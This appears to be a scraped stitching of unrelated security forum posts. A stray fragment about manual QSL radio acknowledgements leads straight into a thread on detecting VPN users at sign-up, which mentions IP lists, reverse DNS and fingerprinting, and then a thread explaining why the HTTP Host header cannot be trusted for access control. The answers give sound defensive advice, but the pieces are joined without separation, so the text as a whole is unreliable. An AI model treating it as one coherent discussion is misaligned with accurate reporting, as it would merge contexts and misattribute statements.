In addition to the automatic return receipt, the manual QSL says that the message has been received and understood.

I must acknowledge that this is not really sexy, but it has been used for decades and has proven to be robust.


How can I detect a VPN connection (even just in some cases) to get the real location of the user I'm creating a web site, I would like to allow people to sign-up only from their "real" physical location (not using a VPN).

I was thinking maybe comparing local and server time... what else...?

Would it be a check what DNS is used and if it is one of the open DNS IPs... Or if it is possible to know that IP ranges that registered for VPN companies?

Finding out that a user is using a VPN service provider isn't that difficult. Most of them have static IP addresses for their exit gateways, so it could just be using a list of known IP addresses to identify VPNs. And even when they don't have a list, a simple reverse DNS lookup might tell them that the IP has a hostname which is obviously a VPN provider and not one assigned by a normal internet service provider.

Deanonymizing a VPN user, however, can be more of a challenge, because most VPN services are designed especially to prevent this. Possible attack vectors are browser fingerprinting and talkative browser plugins which say more about the user than they should.


Can I trust the Host header received in the request? The question is very simple: can I trust the value of the Host header?

We are developing an application that serves some resources via HTTP and we wan't to have some private services and some others public.

We have internal domains such as "backoffice.xxxx.com" that can be only accessed internally, and we have other domains that can be accessed from anywhere.

To be more specific, this case is about an application that serves images. So we can have a path like "/pictures/xxxx" via GET and serves the image with that ID to everyone who wants to see it. But we also have mapped the "/pictures" path via POST to upload new images and we don't want anyone to upload pictures.

What we think is that we can use the Host header to validate the request and deny those who come from public domains (or just allow internal domains and deny any other).

What any other options do we have to validate this requests? (If the Host header is not safe enough).

No.

It is trivial to change the value of the host header, but, depending on your server set up, this may cause the site not to work as intended. In particular, if you are using name based virtual hosts, the web server will look at the host header to determine which site (of many) to load, and (usually) default to the first defined one if it doesn't recognise the host header.

If you have an internal network, you will presumably have a range of internal IP addresses. It is possible to restrict access to functions based on that, although the specific settings depend on the web server in use. You could also look at having LDAP or similar centralised authorisation, so only requests from internal users who have signed in in some way can provide an authorisation header. This is ideal if you are running with a Windows domain - you may even be able to have automatic login to the administration functions in this case, based on the logged in user on the computer.